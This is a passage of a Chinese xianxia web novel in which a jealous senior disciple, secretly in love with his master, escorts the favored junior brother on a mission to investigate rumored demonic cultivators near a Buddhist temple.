《修为尽废,我转投师祖怀抱》
1. 我有两个秘密
我有两个秘密。
其一,我恨我的小师弟,恨不得他去死,最好是灰飞烟灭、魂飞魄散,总之,生生世世都不要出现在我面前碍眼。
其二,我爱上了我的师尊。师尊大义,为世人而修无情道,执掌刑罚,断错辨恶,是当之无愧的正道魁首。
我能容忍师尊眼中众生平等,为此,我曾暗暗发誓,我会好好藏起我龌龊的心思。
但我无法容忍,师尊独独将小师弟排于众生之外,他享受的所有“不平等”,都足以令我抓心挠肝,日夜反复思辨。
我百思不得其解,几近入魔。
敲门声将我的冥想打断。
我睁开眼,都不用动用神识,就能猜到院门外的人是谁——我那亲爱的小师弟。
其实我并不想去开门。
作为云秀峰的大师兄,自然是许多师弟师妹们亲近的对象,师尊修无情道,除了传道授业,对徒弟少有管辖。
可以说这群小崽子是我一手带大的。
在小师弟程月舒拜入我峰之前,我一直都是他们所爱戴的大师兄。
但自从他成为我的小师弟后,再没有人来我的居处光顾,好像一夜之间,我这个大师兄只剩下一个空架子。
因为辈分在这儿,我的居所是云秀峰上弟子居中最好、最大的,单人独居,没人叨扰反而清净。
我可以好好修炼,追随师尊的脚步。
但程月舒又偏不让我如意,如今所有人都喜欢他,他却放着那么多人不选,偏偏往我院子里凑。
还总喜欢说,今天师尊叫他去做什么了,今天师尊又送他多少法宝,多少灵石,还让我看有没有喜欢的,尽可挑选。
偶尔还会告诉我,师尊指点了他什么剑招,手把手的那种,但他还是不会,不过没有遭到训斥或者冷脸,他倍感幸运。
程月舒说,人人都觉得师尊冷面冷心,但他觉得这位正道魁首心有天地,温暖至极。
我听不进去,将他从头到脚看了一遍,没看出哪里值得师尊另眼相待的。
愚钝不堪、啰嗦聒噪。
但这次我还是将他放了进来,只因为我已经许久未曾见到师尊,我不敢奢求他多看我一眼,只能通过小师弟了解到他的近况。
我像个恶心的泥团,水沟里恶臭的虫,我仰望着明月,不求得到什么照耀。
程月舒晃着高马尾就进来了,我不知道是我多心,还是事实如此——他在模仿我。
我习惯将头发束得很高,曾有人夸赞我这样很好看,师尊也比寻常多看我几眼。
我自认为相貌平庸,更直接一点,我自知自己的外表同内心一样丑陋难评。
师尊修无情道,按道理是不会因为我换发型就对我另眼相待的,但我还是改了我的习惯,就因为他的几眼。
我可以起早对镜反复梳理长发,力求复刻第一次的模样,想让那个冷情冷心的人看我。
可师尊何等光风霁月的人,怎么会因为座下大弟子换了发型,就给予关心呢?
我能理解师尊无情道心已臻至巅峰,但我生性偏执、顽固不化,所以并不打算改。直到小师弟顶着和我一模一样的发型出现。
我亲眼看见、亲耳听见,我亲爱的、敬爱的师尊将目光久久顿在他的身上。
师尊夸赞道:“好一个俊朗少年。”
没关系,或许是我年岁已大。
我不在意,或许师尊在考验我心性。
程月舒见门终于打开,才放下正要敲门的手,两手一背,整个人带着少年气的俏皮。
“大师兄,你怎么现在才开门?还以为你不在秋野院呢!”
我暗暗吸了口气,一只手背在身后攥成拳,自己掐着手掌心,这是对我自己的警告。
“入定了没太注意,感觉到结界被触动我就来了。”
我没说他靠近秋野院我就知道了,愣是在屋子里晾他好一会儿才来的。
好在程月舒从来不会在这种事情上多想,论他的眼力见儿,我实在不敢苟同。
“师兄,你除了修炼就是修炼!也不和我说说话每次都是我来找你。”
程月舒斜身,十分自来熟地钻进我的院落,在石凳上坐下,眉眼带着喜色,一拎茶壶,半点儿东西也没有。
脸上神情顿时有些呆愣。
我侧着身体站在门口看他,心里却是痛快,来我这儿刺我不说,和我穿同款衣服,梳同款发型也不提,对我不称敬语更是算了。
把我这儿当自己居所一样,太过了。
是不是想取代我的地位,那样和师尊之间就更多了一层亲密,小师弟越阶成云秀峰大师兄,掌管内外以及诸位弟子,多威风啊!
他不想要?我不信。
“不修炼,还能做什么?”我问。
这也是我始终无法理解的事。
我这一生追求极少,而现阶段最大的心愿,莫过于能够追随那人的脚步。
程月舒拍着石桌,脸上笑容恣意,高高扎在脑后的头发一甩一甩的。
“赏百景,尝百味啊!”
当真是少年郎,才踏入修真界不久,还未散掉那满心满眼的红尘气。
不知修真残酷的傻子。
还未等我开口教育他,程月舒脑袋一晃,那马尾在空中划出一道弧度。
我又闭上了嘴,站在不近不远处看他。
正如我所料,他两指一并,腰间的储物袋就悬空而出,顿时飞射出数十道光芒,院落里堆满了灵宝法宝,均通体生着光辉。
金缕甲、摄魔塔、千里镜……
“师兄!我和你说!师尊答应让我这次和你们一起去做玄阶任务啦!给了我好多法宝,你也挑几件防身呗!”
我藏在袖中的手攥紧,骨头挤得咯咯作响,但程月舒听不见。
天地玄黄,他一个小小炼气就敢和我们一起去接玄阶任务,真是不怕死。
“太过危险,我去和师尊说。”
无论如何,程月舒都还是云秀峰的小师弟,就算我再讨厌他,也不能失心疯似的真由着他胡闹。
刚转身,程月舒却“哎哎哎”的叫住我。
我皱了眉,连师兄二字也不喊了。
再转回去时,我收敛了所有不满的神色,只是带着疑惑,淡淡问他:“小师弟还有事?”
程月舒站起身,绕过一地的宝贝。
他背在身后的手拿了出来,指尖上停着一只淡蓝色的,由灵力凝成的灵雀。
我呼吸微滞,只觉嗓子艰涩难以开口。
程月舒的手又往我面前递了递:“喏,大师兄,我猜到你不答应啦,师尊要我带了话给你,你就不用白跑一趟了。”
白跑一趟。
我暗自咀嚼这几个字,伸手接过
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灵鸟,熟悉的灵力扩散,师尊的声音出现在我的耳边。
“负雪,小舒想去就让他去罢,你多护着点,别让他受伤。”
我手指一抖,不敢置信,师尊对程月舒的纵容已经到了如此地步!
院子里还有那些法宝发散出来的灵气,被禁制拦下,框在秋野院中。
要我护着他,我凭什么护着他。
我视线从那堆刺眼的东西挪到程月舒一无所觉的脸上。
他对您给的东西弃如敝履,随手就可以转赠他人,程月舒到底是个什么东西,能让您的双眼蒙蔽如此!
“大师兄?”程月舒歪着头看我,那双灵动的眼眸弯起,“怎么样,肯带我去了吗?”
我强提起笑意,深深叹了口气,松开快要被我掐破的掌心,轻轻搭在程月舒的头上。
“那你要记得,不要乱跑,知道吗?”
很快,我收回手,指着地上那堆东西:“既然是师尊给你的,你就收着吧,玄阶任务不比黄阶,这些能防身保命。”
程月舒的眼眸澄澈,不像我,我每次对着镜子照的时候,都觉得自己的眼睛黑黢黢的,如果沉下脸色,无端会显出一些阴郁。
也难怪他一来就比我更受欢迎。
“大师兄不要吗?”
我摇头拒绝:“这些是师尊给你的,不是给我的。”
程月舒迈出一小步:“师兄虽天资聪颖,可如今你才金丹修为,有了这些防身岂不是更加安全?”
他在嘲笑我吗?故意说我天资聪颖,又说我如今才金丹修为。
“不需要。”
我绕过他,转身向屋里走。
“小师弟,如果没有什么事就先回吧,我还要继续修炼,待会还要给峰上的灵植浇水,事情很多,不能陪你玩闹,任务出发前我会去叫你。”
回到屋内,我立刻设下了结界,同时神识放出,看到程月舒已经离开了秋野院。
师尊那一声“负雪”犹在我耳边萦绕。
但一想到现在他对我说的所有话,十有八.九都是围绕着程月舒,胸中便郁气横生。
我意难平!
许是血气涌上头,再睁眼时,眼前有一些晕眩,迈开腿就不自主地踉跄几步,我伸手在桌台上撑稳身形。
我用手奋力捶打几下脑袋,头上的发冠直接被力度震掉,哐啷几声,从桌子掉到凳子上,又砸在地上原地转着圈。
等那一阵偏头痛过去后,我抬头就能和铜镜中的自己对望,阴沉的双眼,苍白的面容,头发散乱,遮在脸前,这模样哪里像玄清宗云秀峰的大师兄。
“真丑啊……”
我对着镜子里的自己笑。
就这样子,谁能喜欢我?
我试着对镜子模仿程月舒那灿烂耀眼的笑容,但是嘴角肌肉僵硬,笑起来像一个风干的古尸。
我从来都不习惯大笑,露出满口牙齿,或许这也是为什么,程月舒比我更加耀眼的原因。
我愣怔地看着铜镜中的自己,不断搓着自己的双颊,微笑一次又一次,努力去找到最平衡的笑容。
忽地,窗外一声鸟雀压断枝桠的响动拉着我回过神,我骤然惊醒。
铜镜中的我脸色阴沉。
我在做什么?我在模仿谁?
他也配我去模仿?
我直接将桌上的所有东西都扫到了地上。
2. 今时不同往日
翌日,我收拾好东西,将秋野院封住。
刚开始成为云秀峰大师兄的时候,我还没有那个意识。
我出去时,那群师弟师妹们找不着我,平时又疏于修炼,凝个传音鸟都磕磕绊绊,他们会在我院子里等我,东倒西歪趴成一片。
我一回去,就会看见一群黄衣小崽子们围过来,很像我小时候在人间农户家见到的小鸡崽,毛茸茸的,叽叽喳喳的。
倒也不是有什么要事,不找师尊,还是因为师尊形象太过高大,他们敬而远之,不敢造次,连问题也不敢问。
初入修真界还没有转过弯来,那点孩童的依赖心理未散,情感就移到了我的身上。
我并不排斥他们的亲近,也曾问过他们。
“既然传音鸟凝不出来,如果有事情找我,为什么不用传音符?”
结果他们三两笑成一群,年纪小一点的直接抱住了我的腿,也不知道在开心什么。
他们说,知道我日理万机,比较忙碌,所以不忍心打扰我。
如果真的有要紧事,他们会用传音符联系我的,之所以等在这儿,只是想见见我。
我说:“我有什么好见的?有这功夫不如多看几本书,多挥几次剑,身为云秀峰的弟子,不能给师尊丢脸。”
就算我把话说到这个份上,他们也没有沮丧,只是叠声哄骗我,下一次,下一次,以后来找我,一定是只为修行上的事。
每到这个时候,我的心里只有无奈,也不再废话,视线一扫,伸手把人群中几个年岁尚小的娃娃招到面前。
“下不为例。还有,你们头发怎么又这样梳,乱糟糟的,像顶着个鸡窝头,上次不是教过你们了吗?”
我牵着其中一个,让她坐到石凳上,解开她已经歪到脖子上的发髻。
师弟中稍微皮一点的,直接顺着石凳爬到石桌上。
我站在娃娃一样的小师妹身后,低头给人梳头,他就从我背后环住了我的脖颈,轻轻一跃,挂在我的背后。
“也不怕勒死我,嗯?”
他们不答,闹腾得更欢。
背后挂着个人,腿上还抱着几个,还好我平时也有炼体炼心,不至于被几个师弟师妹们勒得没气。
这时候我又觉得他们不像小鸡崽了,这些大一点的孩子比猴还难带。
偏偏一个两个还喜欢说漂亮话。
“大师兄心灵手巧。”
我打完结,轻轻拍了拍坐着的小师妹,让下一个小朋友过来坐好。
“你们也学一学,不然以后就打算披头散发的出去历练吗?要吓死谁?”
“大师兄,我是你的挂件,你去哪历练带着我好不好,我就不怕吓谁啦!”
我想到他们艰难辟谷,一边哭,一边越吃越多的日子,心酸不已:“把你们拴腰上,我飞都飞不起来。”
“大师兄,你嫌弃我们!”
我动作一顿:“没有。”
这倒是我的真心话。
我说,我从来没有嫌弃过他们。
封好秋野院,远看孤寂得很,明明在弟子居的范围内,却远离众人。
现如今已经没人会在院子里等我了。
临行前总要和师尊说一声,我承认有自作多情的成分在里面,私以为师尊对我这个大弟子还是有几分关心的。
起码没有忘记我叫什么名。
行至云秀峰顶,大殿恢宏无比。
师尊喜静、喜简,日常就在这冰冷的殿中居住,我曾提过,可以为他动手建一座雅居在大殿后,想来也比这大殿内室住的舒服。
但师尊拒绝了,我也就不再多提。
找了一圈都没见到人。
我再次转回大殿门口,问安静立在门边的童子:“劳驾,可知我师尊去哪儿了?”
这只仙鹤化作的小童脾气古怪,喜人间的点心甜食,以糖葫芦最甚,平时就不爱搭理旁人,唯听从师尊的命令。
我没有存吃食,没东西贿赂小童,怪不得看我转半天,也不出声。
小童懒懒看我一眼。
“哼。”又低下头打盹。
我觉得好笑,低声哄着他。
“我领了任务,想吃什么?这次下山去给你买,装满一袋子,好不好?”
小童抬头,眉间一点红,眼珠子水灵灵的:“当真?不会再忘了罢?”
上次是我受伤颇重,回来就闭关几月,出来时才想起来,彼时已然迟矣。
“不会,上次出了点意外,再有一次就让你在我脸上画王八可行?”
小童装模作样,学酸腐的教书先生摇头晃脑:“善!再信你一回。”
他拍拍手,在殿旁雾池里啄羽毛的仙鹤就飞了过来,脑袋往我怀里一拱。
我抱住它,摸了摸它的喙,又顺着它的长脖子抚了抚:“师尊去师祖那儿了?”
小童放下手,上下重重点头:“是的,长垣仙君去老祖那儿啦。”
说起来,我到现在还未见过师祖。
南玄仙尊生于正魔两道混乱的时代,玄清宗便是他一手创办的宗门。
其仙路一片坦途,传闻中,修炼对他如喝水一样平常,简直是天道的宠儿。
沧海蜉蝣,光阴弹指而过。
正魔大战后,魔道惨败,南玄仙尊也退位,将正道魁首的位子传给徒弟。
以渡劫期的修为坐镇玄清宗,单独起了一峰,隐于宗门后山之上,常年白雾缭绕,非必要则避世不出。
人称南玄老祖。
仙鹤驮着我过了那层白茫茫的雾,前往师祖所在的山峰。
我并不是第一次来这地方,但那翠绿山景、恢宏殿堂,以及入云高阁总能震撼我。
师尊偶尔会来同师祖论道,现在是太平时候,平日基本没有大事,师尊不在殿内,就只会在这儿。
来去几回,我从未见过那话本里越传越玄乎的师祖,便胡乱猜测,他是否面目可憎,他是否已然苍老。
从仙鹤身上下来,我在储物袋里拿出一大束九汁花,这玩意儿也就仙鹤爱吃。
小时候初来云秀峰,我见仙鹤吃的津津有味,好奇心起来,跑到仙鹤面前拔了一株塞在嘴里嚼。
九汁花的长杆汁水丰富,可花瓣就先甜后苦,苦就算了,还带一股子说不上来的怪味儿,长久黏在舌根处,不论喝什么都驱散不了。
“谢谢你。”我让它横着叼住。
仙鹤先是高兴地仰头叫了一声,又用脑袋在我脖颈处拱,我一手抓着花,另一只手都无法抱它。
只能低声轻笑:“嘘,不能乱叫,小心师祖动怒,把你我全都放丹炉里烘了。”
我把这一束花塞到它嘴里,那黑豆似的眼睛望着我,专注又清澈。
这让我愣住,但又很快回过神,不由得自嘲,到现在为止,我只从它的眼睛里看见对我离开的不舍。
送走仙鹤,我往深处走。
流水潺潺,瀑布倒悬,水花飞溅,一路生灵无言,雪白的鹿从林中探头,树上的鸟雀站成一排,静静地望着我。
我从来都没见它们叫过,所以我猜,师祖也同样喜静,甚至这个程度比师尊更深。
来到殿前站定,望着紧闭的
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殿门,我咽了口唾沫,准备躬身行礼,道明来意。
我弯下腰:“弟子郁负雪拜见师祖。”
安静,无人应答。
师祖不在吗?那师尊来这儿做什么?
我不敢抬头,仍行着弟子礼,渡劫期终究是遥不可及的存在,面对如此大能,说不畏惧那是假话。
是不是我的礼不够标准,声音太小?
“弟子……”
不管了,我就喊三次,如果没人理我,我就只能直接带着程月舒去做任务。
可惜那样的话,连师尊的面都见不到。
一声轻响,紧闭的殿门开了一条小缝,我回过神,疑惑地抬头。
人在?这是要我进去?
“打扰师祖了。”
我拱手,迈步上了殿前玉石阶,中途停下脚步,回头一看,那群生灵仍在原地,静默地望着我的背影。
好奇怪,南玄仙尊一定是个古怪的老头。
那殿门的缝刚好可以让我侧身而入,我不想表达什么,但我内心已经皱起眉头。
刚钻进去,那厚重的殿门便在我身后轰然阖上,我心脏也跟着轰的一声。
前几次来这儿,我都没有入殿,
里面的景象是我从未看过的。
外面的世界都不比殿内亮堂,盘龙柱间隔而立,金色浮雕像真的一样缠绕在柱子上。
柱.身上有烛台,但现在上面只摆了一颗颗硕大的夜明珠,再往脚下一看,满地淡色青玉砖,不说如镜子一般,但也贵气异常。
“弟子郁负雪,拜见师祖。”
我只飞速扫一眼,就恭敬地低下头。
正面对的地方,有一扇屏风,其后明晃晃站着个人影,身姿挺拔,独而成画。
“……何事?”
那人影沉默良久才出声。
我被这声音恍了一下,师祖的声音不像老人,反而挺好听的。
“郁负雪?”
我被叫得一惊,忙抬起头,瞧见那原本侧站着的身影转了过来,好像只和我隔了一张屏风相望。
这令我无端有些紧张。
“弟子……弟子要外出做任务,听说师尊在您这儿,我来辞行。”
屏风对于师祖应当宛若无物,不然我怎么会觉得有视线落在我的脸上?
李晏京又是沉默。
我心中已经生出了些许退意,师尊好像已经离开,面对师祖,我压力倍增。
不过,这下一耽搁,临走前是真的见不到师尊了,待会儿回去,只能直接接走程月舒。
“什么任务?”李晏京问。
“玄阶任务。”我只报了等级。
此番对话后,殿内又安静下来,实在拿不准师祖是什么意思,他话少,我也待不住,便打算先行告辞。
“打扰师祖了,如果没有别的事,弟子就先行告退了。”
后半句还有,再耽搁下去恐怕会误了时辰,但我哪里敢拿这种话甩渡劫大能的面子。
“……注意安全。”
本以为等不到回答,我正行礼转身,就听见屏风后蹦出这么一句话。
这令我有些无端感动,自从程月舒拜入云秀峰后,许久都没人对我说这类关心的话了。
今天还真是个好日子,仙鹤仍然喜爱我,师祖也纡尊降贵对我开了金口。
师祖也许并不古怪,只是太久鲜少和弟子说话,不知道怎么沟通吧。
我对屏风抿着唇笑,想想又不大好,于是不甚熟练地露出牙齿,重新笑了一下。
“多谢师祖,弟子会注意的。”
3. 佛不佛道不道
回去时是另一只仙鹤前来相送,师祖峰上养的,听说送我上来的那只也是出自师祖峰上,是个生性爱闹腾的,到处跑,师祖也不拘着它。
久而久之爱上了我养的九汁花,遂在云秀峰上安稳下来。
我从仙鹤背上跃下,转身见它还未离去,便觉得有些奇怪,我摸摸它的头。
“你不会也想找我讨吃的吧?”
可惜仙鹤很安静,不会说话,就用眼睛盯着我,愣是把我看得讪讪,好像读出点不能厚此薄彼的意味。
“你吃九汁花吗?可惜我没有存货了。”
仙鹤不答,和寡言少语的师祖,那高高飞在天上的山峰一样,都很奇怪。
我收回手,收敛对云秀峰峰上那鹤类同的心思,也没有挑别的灵植喂它:“多谢鹤兄,回去吧?”
仙鹤好像不乐意,脖子歪着凑过来,我没什么反应,师祖峰上生灵均通人性,想来不会把我怎么样。
脖颈发尾处一刺,我嘶一声后退,就见那仙鹤居然叼了我一根尾发衔在喙上!
“你……!”
鹤展翅而飞,高高浮于空中,慢慢缩成一点,最后隐于天上白茫茫的雾中。
徒留我捂着后脖颈看天,满嘴数落的话全都咽回去,生生憋了个肚饱儿。
“师兄?”程月舒的声音从我身后传来。
我回过神,放下手。
程月舒在我身后,和我一样仰头看天,见我转身看他,他才笑着一摆头,头发直晃。
“这是在看什么呢?”
我神情淡下来:“没什么,东西收拾好了吗,小师弟。”
程月舒拍拍腰间储物袋:“收拾好了,大师兄,我以为你不会带我了,等半天没有见到你,我差点去问师尊。”
我背在身后的手攥成拳,不咸不淡地看他:“师尊去师祖那儿论道了。”
程月舒却很是惊讶,那小鹿眼睁大,似是想通了什么,和我说:“师尊已经回来了,刚刚才来看过我,大师兄没遇见吗?”
我掌心一痛,指甲掐破了皮肤。
“许是不小心和师尊错开了。”
我听见自己轻声说。
程月舒只是炼气期,还不会御剑飞行,所以只能站在我的剑上。
以前我带着其他师弟师妹都是让他们站在身前,我深知后背不能留给敌人的道理,但我此刻不想看见程月舒,只叫他站在我身后。
他踩上我的剑,都令我一阵心疼。
“我可以抱着你吗?师兄?”
程月舒探出头歪着问,手已经搭在我的腰上,我斜眸看去,他在冲我笑,讨巧卖乖,尽弄这些旁门左道。
“早日筑基,你就能自己御剑了。”
我想把他的手掰开,但顾及师尊可能没走远,他的神识如果看见我这样对程月舒,定不会再理我。
“师兄,我一日不筑基,你就一日这样带着我飞可以吗?我喜欢跟在你后面。”
我心中回道,不好,我恨不得把你从高空抛下,看你惊慌失措我就开心,把你摔成肉泥,骨头送去喂狗,让它们也尝尝你的虚伪。
“你这样,不觉得愧对师尊吗?”
我提速向玄清宗大门掠去。
程月舒缠在我腰上的手更紧了,我向下扫了一眼,他两条胳膊都框住我的腰,身躯也贴在了我的背后。
如果有人路过,定会觉得我们师兄弟和睦友爱,他是个黏人的小师弟,谁又知他心机。
程月舒声音极小,消散在空中:“我为什么要觉得愧对他老人家呢?”
来到宗门,有两人已经倚在门柱边等待,我这才想起,还未同他们说要带上个累赘。
剑划过天空留下一道流光。
我站定拱手,轻轻一动便挣开了程月舒的束缚:“抱歉,孟兄,常兄,是我来迟了。”
孟竹臣手中折扇往掌心一敲,笑眯眯摆手:“没事,我们也刚到,我和常善聊天呢。”
两人均为金丹中期修为,早年为外门的一对师兄弟,关系很好,后来孟竹臣去学阵,常善去学剑,鲜少有能相聚的时候。
怪我,耽搁了人家时间。
我笑中带着窘迫,但孟竹臣是那种通透的人,未等我再冒出几句歉疚的话,他那双眯着笑的眼睛扫向程月舒。
“负雪,以我们的关系,还需要说什么?你真的没迟,是我和常善来早了,跟着你的这是谁,负雪出门还要人送别?”
常善抱着剑向我点头问好。
我让开路,走流程似的说:“这是我小师弟,师尊让我带他出来见见世面。”
孟竹臣拇指一撮,折扇展开,似笑非笑道:“见世面?做任务可不是什么游山玩水,炼气期的小东西还是回去吧。”
说完,他又睨我,传音提醒道:“你也是,跟个棒槌似的,让你带你就带?出了事可算你的因果了,费力不讨好的。”
我朝他看了眼,什么也没说。
程月舒朝两人咧嘴一笑,鞠躬道:“想必二位就是孟师兄和常师兄了,听闻二位师兄的阵、剑双绝,怎得分开各自独修一门?”
常善眼神一暗,原本抱剑靠在门柱上,此刻站直身体,神色有些冷。
我只觉得程月舒真是麻烦,那张嘴和脸是讨人嫌,不但膈应我,和我走得近的人也是。
像现在,程月舒许是觉着气氛对他不利,非要显摆一下。
孟竹臣脸上笑容不变,深深看了程月舒半晌,扭头对我道:“走吧?”
这次的玄阶任务是在离宗门稍远的碧泉镇,听说有魔修出没。
实际上碧泉镇离千机寺比较近,按道理就算求救,也轮不到远在山林的玄清宗。
我自然不能麻烦其他两人带着程月舒,我们也不会用大型飞行法器,那样太慢,不约而同地选择了御剑飞行。
这样方便,也快。
风在我前面被分开,只有头发被气流卷过,胡乱打在程月舒的脸上,我感觉到了,却没管。
程月舒侧脸避开我的头发,我听见他凑近问我:“师兄,碧泉镇危险吗?”
我怎么知道,反正对他来说,什么任务都危险,但转念又想到那些防身法宝,我又想,什么都不危险。
“师兄?”程月舒见我没理他,望着同乘一剑的另外两人,“飞剑上说话明明是能听见的,师兄是不想理我?为什么?因为我闹着要凑热闹?还是因为师……”
我打断了他:“嗯?在说什么。”
程月舒一顿,在我腰上的手臂箍得更紧,意味深长地说:“走神了吗,师兄,和你说话也不理我。”
我沉下脸:“程月舒,莫要再动手动脚,我不管你是因为什么非要和我一起出门历练,但你最好知道什么叫安分守己。别以为有师尊护着你,我就不敢将你遣回去。”
程月舒没有生气,也没有露出惊讶的情绪,对我的反应像是意料之中,他松了胳膊,两手扶在我的腰处。
“师兄教训的是,只是你好像对我有些误会,这无端的怨气是从哪儿来的?师兄,师弟不解,还望告知
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。”
我传音给孟竹臣提速,嘴上敷衍道:“与你无关。”
此刻时辰对于凡人来说尚早,街道上的摊子才刚开始摆出来,正在做准备工作。
我们这一行人打扮不俗,孟竹臣着青色圆领袍,常善着青色锦袍,我们云秀峰的衣服为黄色系,我身为大师兄,衣服为暗黄色。
师弟师妹们都是鹅黄色,所以我时常会幻视一群小鸡崽围过来。
不好,我又想起以前了。
好在无人察觉到我的走神,我不由得紧抿着唇,和孟竹臣他们一起观察着四周。
程月舒拉了拉我后腰的衣服:“师兄,我已经闻到香味了,如果无事,任务后陪我吃碗馄饨如何?”
“再说。”我都没听他说什么。
程月舒拽住我衣服后就没再放开,我和孟竹臣他们暗自传音。
常善淡淡的声音传来,他说:“好吵。”
孟竹臣嘴角噙着笑,像贵公子一样摇着扇子,风度翩翩和凡人对视,只要相望,他就笑得更加和煦,且暗自传音吐槽:“是吵,长垣仙君的面子真大,心也真大。”
我不能跟着一起说我师尊的不是,只能僵硬地转移话题:“我没感觉到魔气,你们呢?”
思及我只有金丹初期修为,比二位师兄次多了,我担心是我看漏了地方。
“没有。”二人均道。
孟竹臣轻轻晃了一下脑袋,站在镇子里的任何一个地方,都可以看见远处的佛塔,那是千机寺的宝贝建筑。
“总不能那群佛修已经把事解决了吧?”
我闻言一愣,随即又想,那样也不错,起码我不用再担心身后这个累赘拖累我,或受伤害我被师尊责罚。
孟竹臣提议去千机寺看看,顺便也能找个落脚地儿,拜访一下悟尽大师,代他们的师尊向他老人家问好。
程月舒在发现我敷衍他后就没再说过话,只安静当个挂件,跟在我身后。
现在是晚秋,秋天的末尾里,被千机寺庇护的枫叶火红一片,落在寺墙外,自带一股禅味儿。
孟竹臣上前叩门,立刻就有小和尚把门打开,噘着嘴哼哧哼哧地拉开一道缝,从下往上一看,是不认识的四个人。
他脆生脆气道:“施主找谁?”
脑袋顿时挨了一板栗,来人说:“小萝卜头一边儿玩去,挡我路了。”
“哎哟!我的脑袋!我要变笨蛋了!”
小和尚瞪了眼那人,气呼呼地转头,迈着短腿跑开,还大喊着。
“师父!师——父!陈青芜他又又又又打我!我头好痛!我是不是要去见佛祖了!”
门这次被开大了,孟竹臣笑着收回手,折扇再次打开,悠悠扇着风:“陈青芜,别来无恙啊,头发还没剃呢?”
陈青芜顶着一头乌黑长发回笑:“什么时候我找到我的道,什么时候就剃。”
他扫了眼我们,笑着颔首打招呼,在程月舒身上只停了一瞬。
我点头喊道:“陈道友。”
陈青芜让开路,我们依次踏入寺内:“负雪总是这么正经,都说了,可以直接叫我青芜,叫陈兄也行。”
他竟是完全没有要知晓程月舒的意思。
不过陈青芜本身行事作风就随意,他不问,我也不能特意拦着他们的话,介绍说这是谁谁谁。
程月舒则环顾四周,看样子也不是很想搭理这个佛不佛、道不道的人。
孟竹臣在向陈青芜道明来意。
“魔修?倒是未曾听过。”
4. 多嫁女和良人
我也看过去。
这时,程月舒转过头问我:“师兄,我想逛逛千机寺可以吗?马上回来。”
我皱眉,有些不悦,他当千机寺是什么集市吗?还逛逛,误入重地怎么办?
“不可。”我回道。
程月舒也没再问,好像只是心血来潮的刷存在感,他小声嘀咕“师兄真严厉”,还偷摸着看我,但我在听陈青芜他们说话,没理会。
“碧泉镇?没听说有什么事发生,要不我去问问师父他老人家?我也才外出云游回来不久,这几天骨头都躺酥了。”
“嘿,我看你干脆寻个懒道算了。”
孟竹臣和他并肩走着,常善在孟竹臣身侧,落后半步,抱着他不离身的剑。
“你真会说话。”陈青芜笑着叹了口气。
我捉住一片飘飘而落的枫叶,捻在指腹搓来搓去:“不如晚上再去看看?”
孟竹臣侧眸看过来,眼眸弯弯:“红枫觅美人,负雪站在这儿,白得不似人间仙。”
我现在想把这手上的,连同地上的枫叶全都塞他嘴里。
孟竹臣地位高,修为在同辈人中也不差,但是就这嘴,总喜欢在熟人身上挠几下。
“孟兄。”我欲言又止。
陈青芜拍了下孟竹臣,率先变得一本正经:“诶,你看你,小心把负雪欺负走了。”
孟竹臣也就不再揪着我开涮,商定这几天的落脚地后,他冲陈青芜微笑道。
“叨扰了。”常善点头。
千机寺内百转千回,莲花阵环环相扣,如闯入无人带路,只能迷失其中,陈青芜带我们去拜见悟尽大师。
但是被门口的和尚拦了下来。
“施主请回吧,悟尽大师近日不见客。”
我们几人对视一眼,陈青芜摸摸鼻子,再次解释:“我也不知道,我刚回来。”
“我们再去碧泉镇上看看?”见日头尚早,我提议道,“分头问问,最近镇子上有没有奇怪的事。”
“也好。”常善道。
刚刚给我们开门的小和尚不知从哪儿冒了出来,我见他鼓着嘴,攥着小拳头噔噔噔跑过来,用头撞陈青芜的小腿。
陈青芜反手一捞,提着小和尚的后衣领,把他拎起来:“师父怎么说?”
小和尚短胳膊短腿,隔空对陈青芜来了套身法:“哼!哈!师父说!要我自己报仇!哈!打死你!”
孟竹臣哈哈大笑,还用折扇点着小和尚的肉脸:“这小娃娃跟人参果似的,真好玩。”
陈青芜先对我们说:“有事随时传信于我,我就在寺中,哪儿也不去。”
又把小和尚放下,指着我威胁他:“看见没,天山上下来的狐妖,最爱吃你这种小萝卜头,咔嚓一口,嘎嘣脆。”
我想说什么,又闭上嘴,配合陈青芜,只笑而不语看着小和尚。
直把他看得冷汗涔涔,声音降下去,抱住陈青芜的腿,两眼一闭,不敢再看我。
许是没见过我这么阴郁丑陋的“狐妖”。
程月舒在旁边将这一幕尽收眼底,环抱双手,脸上也没什么表情,看着有些冷。
“师兄倒是受欢迎。”
我原本有点笑意,听见他的声音才想起还有这么个人,心情顿时不太好。
“不比小师弟惹人爱。”
我存心将程月舒打发走,他有重宝在身,那腰间玉佩也不是凡物,他虽然只有炼气修为,但说不定比我们几个金丹还安全。
在千机寺逗留一会儿,外面的凡人已经都出来谋生,街道上都是饭食香味混杂在一起,远处还有屠户拉来新鲜宰杀的牛羊。
放眼望去,小镇一派和谐。
我拐入一家酒楼,在二层窗户边坐下。小二以为我是大户人家的,脸上堆着褶子,生怕有所怠慢。
我摸出碎银,搁在桌上,来酒楼什么也不点,岂不让人觉得存心找茬来的?
我还记得答应小童的事,碧泉镇我没来过,不知道这里的甜食能不能入小家伙的口。
“给我把你们这儿最甜的点心,每样都上几盘,随你搭配。如有余钱也不用找了,你且自己留着。”
小二一听,嘿呀一乐,也不推辞,褶子笑得倒是多几分真诚:“多谢客官!”
我瞧出他在心里骂我是个傻的,怎么搭配,能从中扣去多少钱还不是他说了算。
其实活得久一点,再去细细看这人间,发现凡人的心思不过那点事,贪嗔痴,七情六欲,烧得人肺腑也难言。
我心有担忧,觉得自己如今金丹已是不易,我可以割舍红尘,却割不掉七情六欲。
割不掉也就罢了,但我偏生喜欢反复思量,长久以往必生心魔,往后进阶元婴,恐怕迟早身殒道消。
也罢,此刻不宜纠结。
“诶,小子!你!就你!”
我回头看去,一位络腮胡壮汉盯着我,目光凶狠,颇为不好惹。
再定睛细瞧,他眼底其实并无凶恶之意,只是生的人高马大,模样如恶匪罢了。
“我?”我指着自己。
那壮汉并指,指着楼梯口:“这涂二最是贪钱,你给他那么多碎银子,还不如叫路边乞儿给你把镇子跑个遍。你信不信,他待会儿能给你端来五碟子点心就不错了!”
说完,那涂二就捧着托盘上来,不过六碟点心蝇头大小的点心在硕大的碟中而已。
壮汉在后脑勺顺了一把:“哟,猜错了,六碟,今儿个多了那么一丝良心。”
那涂二和壮汉也是熟人,听见他说的话,顿时往地上啐了一口。
“呸!你个胡熊!人贵客都说了,随我搭配!怎么!看不惯我收钱办事啊!都要取媳妇儿的人了!我劝你别给我找晦气!”
我泰然自若坐在原地,如果是寻常人士,怕早已为是两人在唱戏给他听,嘲笑他损了银子又丢了吃食。
